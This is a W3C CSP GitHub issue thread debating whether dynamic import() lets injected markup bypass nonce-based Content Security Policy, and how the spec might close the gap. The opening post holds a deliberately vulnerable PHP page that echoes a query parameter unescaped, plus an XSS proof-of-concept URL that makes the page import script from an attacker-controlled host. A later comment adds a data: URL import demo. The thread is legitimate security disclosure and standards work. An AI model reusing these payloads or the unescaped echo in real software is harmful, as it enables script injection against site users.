Any protection against dynamic module import?

shhnjk commented 7 years ago

Example here shows a potential risk of CSP bypass when a developer uses dynamic module import. Just for simplicity, I've created bit modified page with CSP and XSS.

https://vuln.shhnjk.com/dynamite.php

<?php header("X-XSS-Protection: 0"); ?>
<!DOCTYPE html>
<meta http-equiv="Content-Security-Policy" content="default-src 'self'; script-src 'nonce-test'">
<nav>
  <a href="books.html" data-entry-module="books">Books</a>
  <a href="movies.html" data-entry-module="movies">Movies</a>
  <a href="video-games.html" data-entry-module="video-games">Video Games</a>
</nav>
<!-- XSS starts -->
<?php echo $_GET["xss"] ?>

<main>Content will load here!</main>

<script nonce="test">
    const main = document.querySelector("main");
  for (const link of document.querySelectorAll("nav > a")) {
    link.addEventListener("click", e => {
      e.preventDefault();

      import(`/${link.dataset.entryModule}.js`)
        .then(module => {
          module.loadPageInto(main);
        })
        .catch(err => {
          main.textContent = err.message;
        });
    });
  }
</script>

Below PoC triggers XSS. https://vuln.shhnjk.com/dynamite.php?xss=%3Cnav%3E%3Ca%20href=%22%22%20data-entry-module=%22/attack.shhnjk.com/allow.php?%22%3E%3Ch1%3EClick%20ME%3C/h1%3E%3C/a%3E

Any thoughts on protection against such attack?

mozfreddyb commented 7 years ago

I can't reproduce this bypass on either Firefox 58 (nightly) nor Chromium 61.

The former reports

SyntaxError: import declarations may only appear at top level of a module (line 18)

the latter says

Uncaught SyntaxError: Unexpected token import

Can you help us reproduce?

shhnjk commented 7 years ago

This is Dynamic module import which is only implemented on Safari for now. https://groups.google.com/a/chromium.org/forum/#!msg/blink-dev/ut-Mr0jt5X8/Q8B4F3wxBQAJ

mozfreddyb commented 7 years ago

Ah, I see this relies on this dynamic import proposal that has yet to land in most browsers.

Looking at the script-src definition, I read

The script-src directive restricts the locations from which scripts may be executed. This includes not only URLs loaded directly into script elements, but also things like inline script blocks and XSLT stylesheets [XSLT] which can trigger script execution. The syntax for the directive’s name and value is described by the following ABNF:

Maybe this needs to be extended to module scripts, dynamically loaded or not?

annevk commented 7 years ago

script-src as normatively defined through Fetch et al already accounts for module scripts and would block them. So while you could clarify the non-normative bits, this is at best an implementation bug.

shhnjk commented 7 years ago

I'm not worried about whitelist restriction. It would work in this case if specified. But as far as reading document and research about CSP (here, here, and here), Strict-dynamic and Nonce based CSP protection is recommended for easy rollout and better protection.

But dynamic import allows Script-gadgets-like attack.

annevk commented 7 years ago

That's true for importScripts() too. At that point you're discussing https://github.com/whatwg/html/issues/2640 (which unfortunately has a lot of noise toward the end now).

shhnjk commented 7 years ago

importScripts() only works on worker context. Where import() can be called anywhere (does not need "module" attribute).
import() intentionally provides dynamic loading of scripts depending on DOM structure and attributes. Where importScripts() doesn't.

annevk commented 7 years ago

That's fair, it pokes a hole in the status quo for documents that is unexpected.

cc @whatwg/modules @domenic

domenic commented 7 years ago

We've been careful to plumb the CSP machinery through while designing the dynamic import integration. For example, it is subject to nonce or script-src controls. Here you have explicitly said that the import is allowed by using the nonce on the containing type=module, for example.

In general we indeed treat this similarly to importScripts() or to inserting <script> elements.

I'm not sure what more we should be doing, if anything. Maybe it'd be easier to evaluate with a concrete proposal.

shhnjk commented 7 years ago

Well, if @mikewest has no concern, then I'm okay with it.

arturjanc commented 6 years ago

The current behavior seems problematic to me; if import() allows loading a new external script then it would be surprising if a nonce-less load was permitted by policy which requires all scripts to be blessed with a nonce.

Such behavior is what I would expect from a policy with 'strict-dynamic' -- import() is a programmatic API so the load should succeed in that case. However, for a nonce-only policy like in the example above the load should fail.

From a developer's point of view I think it makes sense to treat import(foo) like x=document.createElement('script'); x.src=foo. I.e. the load should be subject to the script-src host-source whitelist if present; otherwise, it should be allowed only if the policy includes 'strict-dynamic'.

If we agree, this means that a pure nonce-only CSP like in the example above cannot allow loading scripts via import. This should be fine because developers who use nonces without 'strict-dynamic' usually use them for inline scripts and use a whitelist for external scripts, which they could also do in this case. Developers who don't use a whitelist at all usually specify 'strict-dynamic' so if the current permissive behavior starts applying only in this case, they would also be fine (at the cost of allowing injections into import() to bypassing their policy, but that's part and parcel of 'strict-dynamic').

Additionally, it might be good to provide a mechanism allowing developers to allow import() to work with a nonce-only policy. This will reduce the likelihood that developers who want to have the safest nonce-based policies (without 'strict-dynamic') would need to start adding URLs to their script-src to work around this.

@mikewest WDYT?

devd commented 6 years ago

Hmm... We do use nonce based policies for external scripts and not inline scripts (recaptcha) so I would really like it if a nonce based import was supported too

On Nov 23, 2017 12:17 AM, "arturjanc" notifications@github.com wrote:

The current behavior seems problematic to me; if import() allows loading a new external script then it would be surprising if a nonce-less load was permitted by policy which requires all scripts to be blessed with a nonce.

Such behavior is what I would expect from a policy with 'strict-dynamic' -- import() is a programmatic API so the load should succeed in that case. However, for a nonce-only policy like in the example above the load should fail.

From a developer's point of view I think it makes sense to treat import(foo) like x=document.createElement('script'); x.src=foo. I.e. the load should be subject to the script-src host-source whitelist if present; otherwise, it should be allowed only if the policy includes 'strict-dynamic'.

If we agree, this means that a pure nonce-only CSP like in the example above cannot allow loading scripts via import. This should be fine because developers who use nonces without 'strict-dynamic' usually use them for inline scripts and use a whitelist for external scripts, which they could also do in this case. Developers who don't use a whitelist at all usually specify 'strict-dynamic' so if the current permissive behavior starts applying only in this case, they would also be fine (at the cost of allowing injections into import() to bypassing their policy, but that's part and parcel of 'strict-dynamic').

Additionally, it might be good to provide a mechanism allowing developers to allow import() to work with a nonce-only policy. This will reduce the likelihood that developers who want to have the safest nonce-based policies (without 'strict-dynamic') would need to start adding URLs to their script-src to work around this.

@mikewest https://github.com/mikewest WDYT?

— You are receiving this because you are subscribed to this thread. Reply to this email directly, view it on GitHub https://github.com/w3c/webappsec-csp/issues/243#issuecomment-346506773, or mute the thread https://github.com/notifications/unsubscribe-auth/AAIXGdQ-gOm9e-HNGMuhyA0S6cZWBBn3ks5s5Ll9gaJpZM4Pmgee .

arturjanc commented 6 years ago

Makes sense. Would you be okay with breaking the current behavior (i.e. nonce-only doesn't allow blessing import()) before we figure out how to allow nonces to work for this case? My slight worry is that if we wait, developers will start relying on this (as in, create nonce-only policies and use module imports in their apps) and making the behavior more restrictive later will break more people.

devd commented 6 years ago

Yes but maybe with an unsafe-imports keyword?

On Nov 23, 2017 9:18 PM, "arturjanc" notifications@github.com wrote:

Makes sense. Would you be okay with breaking the current behavior (i.e. nonce-only doesn't allow blessing import()) before we figure out how to allow nonces to work for this case? My slight worry is that if we wait, developers will start relying on this (as in, create nonce-only policies and use module imports in their apps) and making the behavior more restrictive later will break more people.

— You are receiving this because you commented. Reply to this email directly, view it on GitHub https://github.com/w3c/webappsec-csp/issues/243#issuecomment-346651428, or mute the thread https://github.com/notifications/unsubscribe-auth/AAIXGY7SpgeTbqKUTEScOikyTGg6PaAmks5s5ZPmgaJpZM4Pmgee .

mikesamuel commented 6 years ago

This seems like a clear bypass to me.

Here's an example that disentangles the issue of network messages from code loading.

HTTP/1.0 200 OK
Content-Type: text/html; charset=UTF-8
Content-Security-Policy: default-src 'nonce-foo'

<!DOCTYPE html>
<script nonce="foo" type="module">
  let url = 'data:text/javascript,alert(1)';
  import(url);
</script>

In this example url is not attacker controlled, but there's no reason it couldn't be, and that string reaches the JavaScript parser without passing the Content-Security-Policy.

The import operator should check URLs against the policy whitelist before fetching, or if that fails, check the content hash against the allowed set of hashes.

To repeat

$ node -e '
require("http")
  .createServer(
    (req, res) => {
      res.writeHead(
        200,
        {
          "Content-type":            "text/html;charset=UTF-8",
          "Content-Security-Policy": "default-src \x27nonce-foo\x27",
        })
      res.end(`<!DOCTYPE html>
        <script nonce="foo" type="module">
          let url = "data:text/javascript,alert(1)";
          import(url);
        </script>`)
    })
  .listen(8080)
'

koto commented 6 years ago

This deviates from the spec a lot, but maybe import(url, nonce) would be the answer?

mikesamuel commented 6 years ago

@koto, so import(url) -> import(url, document.currentScript.nonce)?

I would prefer that not become common practice.

I like nonces in HTML, but it seems that relying on URL filters and hash checks for dynamic imports would provide better protection.

IIUC, top-level await addresses many of the use cases driving dynamic import and might probably land before any change to the import operator.

koto commented 5 years ago

The problem is that the whitelists (in CSP) are currently ignored if the loading script is nonced. Basically, Chrome implicitly performs a strict-dynamic like behavior, even if that keyword is not present in CSP. That sounds like a regression, and an unexpected one. Perhaps the loading should fail in a nonced script, unless strict-dynamic is present.

That way it would be clear to authors that they either use whitelists (which work), or nonces (which require strict-dynamic for a dynamic import).

briansmith commented 5 years ago

From a developer's point of view I think it makes sense to treat import(foo) like x=document.createElement('script'); x.src=foo. I.e. the load should be subject to the script-src host-source whitelist if present; otherwise, it should be allowed only if the policy includes 'strict-dynamic'.

In my projects I specifically want to prevent the creation of any script in the HTML outside of JS imports, so I'd like to prevent x=document.createElement('script'); x.src=foo while still allowing JS imports. In such a project I have one inline script that is protected by a CSP hash, which imports all the rest of the JS code, replacing all <script src>. Thus any <script> element in this project other than that one hashed one would be XSS. JS imports do same-origin-policy more correctly than <script src>, which I would hope would motivate migration away from non-module <script src> to module-only loaders.

Because of all that, I think a CSP policy should be able to have a separate policy for JS module imports and uses of <script>.

mikesamuel commented 5 years ago

@briansmith

Are you imagining that, in the same way that <script src> is vetted by script-src or if that's not present default-src, that import ... from ... and import(...) would be vetted by import-src or else script-src or else default-src?

If I adopt this model, I can imagine my one hashed source might be simple:

import main from './main';
main();

I can do static analysis of import ... from ... to figure out the set of files, but if any of them use import(...) then I still need to have some controls to be sure that my program only contains trustworthy code.

How would you use import-src to deal with that, and how would that differ from what you can do with script-src, default-src today?

briansmith commented 5 years ago

If I adopt this model, I can imagine my one hashed source might be simple:
import main from './main';
main();

This is exactly what I'm suggesting.

I can do static analysis of import ... from ... to figure out the set of files, but if any of them use import(...) then I still need to have some controls to be sure that my program only contains trustworthy code.

Right. However, keep in mind that there are two use cases for dynamic import: controlling when a statically-known module is imported (the argument to import() is a constant), and importing a module where the module itself is decided at runtime (the argument to import() is a non-constant expression).

Really I'd like to control the case where the argument to import() is a non-constant expression separately from everything else.

How would you use import-src to deal with that, and how would that differ from what you can do with script-src, default-src today?

I would do something like script-src 'sha256-....'; static-import-src *; variable-import-src 'none' to prevent the execution of any <script> other than my one whitelisted loader, and allow that loader to (transitively) use static imports and dynamic imports with constant arguments freely, and prevent any dynamic imports with a non-constant argument. Or, if I need to allow truly dynamic imports then I would restrict them in similar ways that we restrict script-src today, but I would still want to block all execution of any <script> other than my whitelisted one.

<script src> is dead, basically.

briansmith commented 5 years ago

constant-import-src may be a better name than static-import-src for the idea I'm expressing.

mikesamuel commented 5 years ago

@briansmith Thanks for explaining. The difference between "constant" and "static" came up at https://github.com/mikesamuel/evalable/issues/3#issuecomment-488388767 where I talk about reasons that TC39 might push back against semantics that differ based on whether an argument is a literal string.

briansmith commented 5 years ago

The difference between "constant" and "static" came up at mikesamuel/evalable#3 (comment) where I talk about reasons that TC39 might push back against semantics that differ based on whether an argument is a literal string.

Thanks. That's interesting. Your argument is of the form "closure compiler does X, so we can't do Y." But, that seems like the tail wagging the dog to me. I think that if we do Y then the closure compiler needs to reconsider whether it makes sense to continue doing X. In this case, I would say that if this feature were implemented the way I'm proposing, it would be a bad idea for the closure compiler to replace import(x) with import("literal") during inlining.

mikesamuel commented 5 years ago

@briansmith I was talking about code bundlers in general; closure compiler is just the one I'm most familiar with. Constant folding and inlining optimizations are pretty central to JS minification though and the effect of breaking folding on later dead code elimination passes can be pronounced.

Try https://skalman.github.io/UglifyJS-online/ with

(() => {
  var s = 'foo';
  import(s)
})()

and you get

import("foo");

For import, you may be right though. Uses of import are reliably statically distinguishable in a way that uses of Function are not.

briansmith commented 5 years ago

@mikesamuel I just used closure because that's what you used in your example.

For import, you may be right though. Uses of import are reliably statically distinguishable in a way that uses of Function are not.

I agree.

Also, I'm not sure that it would be terrible for security if the bundler did do the inlining, because the bundler probably isn't going to be using third-party (user-generated) content as the constant that gets inlined into the import, right? At least, it seems unlikely enough where it seems reasonable to tell people developing bundlers "don't do that" and carry on knowing that some of them will be late in taking that advice.

mikesamuel commented 5 years ago

@briansmith Ok. I don't think we disagree materially then.

Also, I'm not sure that it would be terrible for security if the bundler did do the inlining

Agreed and I think I called that out in that thread, but semantics-breaking is bad for bundler usability.

briansmith commented 5 years ago

import main from './main';
main();

I think this is the minimal loader script:

<script>
// Disable all future use of `<script>`.
const meta = document.createElement("meta");
meta.httpEquiv = "Content-Security-Policy";
meta.content = "script-src 'none'";
document.head.appendChild(meta);

// Load script.
import('./main').then((main) => main.main())
</script>

Note that this uses the "constant dynamic import" idea described above because the import has to appear after <script> is disabled if one wants to prevent main.main() from being executed twice; see https://github.com/w3c/webappsec-csp/issues/392.

w3c / webappsec-csp

Any protection against dynamic module import? #243